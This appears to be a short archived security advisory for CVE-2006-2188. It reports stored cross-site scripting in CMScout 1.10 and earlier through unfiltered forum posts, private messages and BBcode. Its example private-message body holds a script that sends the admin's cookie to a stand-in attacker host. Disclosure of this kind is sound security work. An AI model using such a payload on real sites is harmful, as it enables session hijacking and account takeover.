Bug: Cmscout <= V1.10 multiple XSS attack vectors ( Ascii Version )

Search:
WLB2

Cmscout <= V1.10 multiple XSS attack vectors

Published
Credit
Risk
2006.05.05
zerogue gmail com
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2006-2188
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

Cmscout <= V1.10 multiple XSS attack vectors

Discovered by: Nomenumbra

Date: 5/2/2006

impact:moderate (privilege escalation,possible defacement)

CMScout is a CMS (Content management system) for scouting related groups from around the world.

A CMS is a piece of web software that makes it easy for you to install, and manage a website.

CMScout includes all the features of other major CMS's that are available (Like PHP-Nuke, Mambo, e107, etc.).

Added news items and events are properly filtered for potential XSS input, input in the forums and PM's however, is not.

For example, when one would send a pm to the admin like this:

Subject: whatever

Body: <script>window.navigate('http://www.evilhost.com/cookiestealer.php?c='+d
ocument.cookie)</script>

we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too.

Nomenumbra/[0x4F4C]

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version